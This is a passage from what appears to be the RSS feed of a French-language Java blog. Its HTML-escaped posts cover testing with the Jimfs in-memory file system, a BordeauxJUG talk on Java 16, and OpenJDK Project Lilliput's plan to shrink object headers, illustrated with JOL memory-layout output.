&lt;p&gt;&lt;a href=&quot;https://www.jbang.dev/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Projet jbang&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/adorsys/keycloak-config-cli/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Projet GitHub keycloak-config-cli&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/lilian-benoit/scripts-keycloak/tree/billet-fr&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Script Complet : UsersCSVtoKeycloakJSON.java &lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Jimfs Comment simplifier les tests</title>
      <link>https://www.lilian-benoit.fr/2021/04/Jimfs-comment-simplifier-les-tests.html</link>
      <pubDate>sam., 24 avr. 2021 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">2021/04/Jimfs-comment-simplifier-les-tests.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#déclaration&quot;&gt;Déclaration&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#utilisation&quot;&gt;Utilisation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#bonus&quot;&gt;Bonus&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Lors des tests, nous sommes quelquefois amené à réaliser des opérations sur des fichiers.
L&amp;#8217;API Java nous offre bien la possibilité de créer des fichiers temporaires, mais cela rend quand même le code plus complexe.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est là qu&amp;#8217;intervient la librairie &lt;a href=&quot;https://github.com/google/jimfs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Jimfs&lt;/a&gt; qui va nous aider. C&amp;#8217;est une librairie qui implémente l&amp;#8217;API NIO de Java (7+) en tant que système de fichiers en mémoire.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Pour rappel, l&amp;#8217;API NIO de java fournit des classes comme &lt;code&gt;Path&lt;/code&gt;, &lt;code&gt;Files&lt;/code&gt;, &lt;code&gt;FileSystem&lt;/code&gt; et d&amp;#8217;autres qui permettent de réaliser des opérations sur les répertoires et les fichiers.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En évitant les opérations de lecture et l&amp;#8217;écriture sur disque, cela permet aussi d&amp;#8217;améliorer le temps d&amp;#8217;exécution car il n&amp;#8217;y a plus d&amp;#8217;entrées-sorties (opérations par définition longue). Tout se passe en mémoire.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;déclaration&quot;&gt;Déclaration&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Disponible sur Maven Central, il suffit d&amp;#8217;indiquer la dépendance.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;xml&quot;&gt;&amp;lt;dependency&amp;gt;
    &amp;lt;groupId&amp;gt;com.google.jimfs&amp;lt;/groupId&amp;gt;
    &amp;lt;artifactId&amp;gt;jimfs&amp;lt;/artifactId&amp;gt;
    &amp;lt;version&amp;gt;1.1&amp;lt;/version&amp;gt;
&amp;lt;/dependency&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; C&amp;#8217;est une librairie réalisée et maintenue par Google&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;utilisation&quot;&gt;Utilisation&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La seule particularité est la manière de récupérer le système de fichiers.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;FileSystem fs = Jimfs.newFileSystem();&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour le reste, comme cité plus haut, nous utilisons simplement l&amp;#8217;api Java NIO.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Création de répertoire :&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;Path repertoire = fs.getPath(NOM_REPERTOIRE);
Files.createDirectories(repertoire);&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Création de fichier :&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;Path fichier = repertoire.resolve(NOM_FICHIER);
Files.write(fichier, ImmutableList.of(&quot;Hello World&quot;), StandardCharsets.UTF_8);&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Dans l&amp;#8217;exemple, j&amp;#8217;ai utilisé la méthode &lt;code&gt;Files.write&lt;/code&gt; pour écrire le contenu du fichier.
Cependant, il est possible de passer par la classe &lt;code&gt;BufferedWriter&lt;/code&gt; ou la classe &lt;code&gt;BufferedReader&lt;/code&gt;. Voici un exemple pour la lecture du fichier&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;try (BufferedReader breader = Files.newBufferedReader(fichier)) {
    return (breader.readLine().length());
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Bien sûr, mais c&amp;#8217;est quand même mieux quand c&amp;#8217;est écrit : Il faut que la variable fichier de type &lt;code&gt;Path&lt;/code&gt; soit construite à partir du système de fichiers.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;bonus&quot;&gt;Bonus&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ce qui est aussi très intéressant, c&amp;#8217;est aussi le support des différents systèmes de fichiers.
De ce coté, la liste est complète :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Windows&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Mac OS&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Unix&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela permet de tester le comportement avec des chemins Windows bien que nous soyons sur un système Linux.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour cela, il suffit de préciser la configuration lors de la construction de l&amp;#8217;instance &lt;code&gt;FileSystem&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;FileSystem fs = Jimfs.newFileSystem(Configuration.windows());
Path repertoire = fs.getPath(&quot;C:\\mon-dossier&quot;);
Files.createDirectories(repertoire);

assertEquals(repertoire.getRoot().toString(), &quot;C:\\&quot;);&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le projet supporte plein d&amp;#8217;autres fonctionnalités de l&amp;#8217;API NIO de Java.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Profites-en.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/google/jimfs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Dépôt du projet Jimfs&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://google.github.io/jimfs/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Page présentant le projet Jimfs&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>&quot;Java 16 - Les nouveautés&quot; - BordeauxJUG</title>
      <link>https://www.lilian-benoit.fr/2021/04/java16_les_nouveautes.html</link>
      <pubDate>jeu., 22 avr. 2021 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">2021/04/java16_les_nouveautes.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;!-- toc disabled --&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;voici_le_sujet&quot;&gt;Voici le sujet&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;quoteblock&quot;&gt;
&lt;blockquote&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Java 16 est disponible depuis mars 2021. Java évolue rapidement avec cette cadence de sortie tous les 6 mois. Chaque version apporte son lot de nouveautés et la version 16 ne déroge pas à la règle.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cependant, selon le dernier rapport 2021 de la société Snyk sur l&amp;#8217;éco-système JVM, nous voyons que deux développeurs sur trois utilisent le JDK 8 en production et seulement un développeur sur quatre utilise un JDK 11.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Si chaque version est intéressante, la version 16 est très intéressante à 2 titres :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Certaines fonctionnalités en mode aperçu (&quot;Preview&quot;) arrivent en standard dans le langage,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;La prochaine version, Java 17, est une version LTS (Long-Term Support)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Je vous présenterai les nouvelles fonctionnalités. Pour cela, rien de mieux que de coder en direct afin de bien comprendre leurs intérêts.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela va transformer votre manière de coder et vous vous demanderez après comment vous avez fait sans.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Venez me rejoindre !&lt;/p&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;vidéo_de_la_présentation&quot;&gt;Vidéo de la présentation&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La conférence a été filmée et elle est disponible sur  &lt;a href=&quot;https://www.youtube.com/watch?v=znt6SzSLKZ0&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Youtube&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;videoblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;iframe width=&quot;100%&quot; height=&quot;50%&quot; src=&quot;https://www.youtube.com/embed/znt6SzSLKZ0?rel=0&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;support_de_la_présentation&quot;&gt;Support de la présentation&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2021/04/java16-les-nouveautes-bordeauxjug.png&quot; alt=&quot;java16 les nouveautes bordeauxjug&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.meetup.com/fr-FR/BordeauxJUG/events/277451860/&quot;&gt;Annonce Meetup du BordeauxJUG&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;/2021/03/JDK16-Nouveautes.html&quot;&gt;Billet sur les nouveautés de Java 16&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>OpenJDK Projet Lilliput</title>
      <link>https://www.lilian-benoit.fr/2021/04/OpenJDK-Projet-Lilliput.html</link>
      <pubDate>dim., 11 avr. 2021 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">2021/04/OpenJDK-Projet-Lilliput.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#situation_actuelle&quot;&gt;Situation actuelle&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#projet_lilliput&quot;&gt;Projet Lilliput&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Avez-vous passé ce tweet ? ou cette information ?&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image&quot;&gt;&lt;img src=&quot;/resources/img/blog/2021/04/annonce-projet-lilliput.png&quot; alt=&quot;annonce projet lilliput&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;Lilliput&lt;/strong&gt; est un nouveau projet qui vient d&amp;#8217;être créé au sein d&amp;#8217;OpenJDK. Il démarre tout juste donc il n&amp;#8217;y a pas encore d&amp;#8217;information sur le wiki.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Néanmoins, le but a été défini lors de la proposition de création du projet. L&amp;#8217;objectif est de travailler sur la taille mémoire des instances, notamment sur la partie d&amp;#8217;en-tête.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;situation_actuelle&quot;&gt;Situation actuelle&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Regardons, pour la VM Hotspot 64 bits, l&amp;#8217;en-tête d&amp;#8217;une instance est actuellement de &lt;strong&gt;128 bits&lt;/strong&gt; en deux parties :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;1er bloc de 64 bits&lt;/strong&gt; qui est appelé mark (ou lock-word) : cette zone a plusieurs utilités (Ramasse-miette générationnel, verrou de synchronisation, hascode&amp;#8230;&amp;#8203;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;2e bloc de 64 bits&lt;/strong&gt; qui est le pointeur vers la classe : cette zone permet de référencer la classe correspond à l&amp;#8217;instance.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Voici la représentation :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;+------------------+
| mark (Lock-word) |
+------------------+
| Class pointer    |
+------------------+
| Field 1          |
+--------+---------+
| Field 2| Field 3 |
+--------+---------+
| etc              |&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons visualiser l&amp;#8217;usage mémoire d&amp;#8217;une instance en utilisant l&amp;#8217;outil &lt;a href=&quot;https://github.com/openjdk/jol&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JOL&lt;/a&gt; (Java Object Layout) d&apos; OpenJDK. Donc, nous allons ajouter la dépendance Maven vers JOL dans notre pom.xml.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;xml&quot;&gt;&amp;lt;dependency&amp;gt;
    &amp;lt;groupId&amp;gt;org.openjdk.jol&amp;lt;/groupId&amp;gt;
    &amp;lt;artifactId&amp;gt;jol-core&amp;lt;/artifactId&amp;gt;
    &amp;lt;version&amp;gt;0.15&amp;lt;/version&amp;gt;
&amp;lt;/dependency&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous allons commencer par écrire une classe très simple sans attribut.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class A {
    // pas d&apos;attributs
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ensuite, nous écrivons du code pour instancier notre classe, puis pour visualiser l&amp;#8217;usage mémoire avec JOL.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;    final A a = new A();

    // Utilisation de JOL
    ClassLayout layout = ClassLayout.parseInstance(a);
    out.println(layout.toPrintable());&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous obtenons le résultat suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;fr.lbenoit.package.demo.test.MaClasse$A object internals:
OFF  SZ   TYPE DESCRIPTION               VALUE
  0   8        (object header: mark)     0x0000000000000005 (biasable; age: 0)
  8   4        (object header: class)    0x08011b60
 12   4        (object alignment gap)
Instance size: 16 bytes
Space losses: 0 bytes internal + 4 bytes external = 4 bytes total&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Pour l&amp;#8217;en-tête contenant le pointeur de la classe (2e ligne), vous pourriez me dire que la taille est seulement de 4 octets et non de 8 octets. &lt;strong&gt;Oui et c&amp;#8217;est normale&lt;/strong&gt;, car j&amp;#8217;utilise un JDK 11 et les pointeurs de classes sont compressés par défaut.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Néanmoins, avec les histoires d&amp;#8217;alignement mémoire, la taille de l&amp;#8217;instance reste à 16 octets.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Au niveau de la JVM, nous pouvons désactiver cette compression avec l&amp;#8217;option &lt;code&gt;-XX:-UseCompressedClassPointers&lt;/code&gt;, nous obtenons le résultat attendu :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;org.openjdk.jol.samples.JOLSample_15_IdentityHashCode$A object internals:
OFF  SZ   TYPE DESCRIPTION               VALUE
  0   8        (object header: mark)     0x0000000000000005 (biasable; age: 0)
  8   8        (object header: class)    0x00007f2ee931c3b8
Instance size: 16 bytes
Space losses: 0 bytes internal + 0 bytes external = 0 bytes total&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;La taille est bien de 16 octets, soit 128 bits.&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Maintenant, nous pouvons compléter notre classe avec deux attributs :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;attribut bool de type &lt;code&gt;boolean&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;attribut obj de type &lt;code&gt;Objet&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous obtenons le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class A {
    boolean bool;
    Object obj;
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Après les en-têtes de l&amp;#8217;instance, nous allons pouvoir visualiser les attributs de la classe.
Voici le résultat en utilisant toujours l&amp;#8217;outil JOL:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;fr.lbenoit.package.demo.test.MaClasse$A object internals:
OFF  SZ               TYPE DESCRIPTION               VALUE
  0   8                    (object header: mark)     N/A
  8   4                    (object header: class)    N/A
 12   1            boolean A.bool                    N/A
 13   3                    (alignment/padding gap)
 16   4   java.lang.Object A.obj                     N/A
 20   4                    (object alignment gap)
Instance size: 24 bytes
Space losses: 3 bytes internal + 4 bytes external = 7 bytes total&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En complément, pour les tableaux, nous avons la même représentation avec un champ supplémentaire avec la taille. Cela donne la représentation suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;+------------------+
| mark (Lock-word) |
+------------------+
| Class pointer    |
+------------------+
| Array-Length     |
+--------+---------+
| Elem 1 | Elem 2  |
+--------+---------+
| etc              |&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;projet_lilliput&quot;&gt;Projet Lilliput&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Donc, les objectifs sont les suivants :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;réduire l&amp;#8217;en-tête à 64 bits, voir potentiellement dans un second objectif 32 bits.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;rendre l&amp;#8217;en-tête des instances plus flexibles.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En reduisant la taille de l&amp;#8217;entête d&amp;#8217;une instance, cela diminuera la mémoire utilisée et la pression associée lors de forte allocation.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Donc, nous aurons les intérêts suivants :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Réduction de l&amp;#8217;usage de tas (heap)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Taux d&amp;#8217;allocation plus haut&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Réduction de l&amp;#8217;activité du ramasse-miette&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
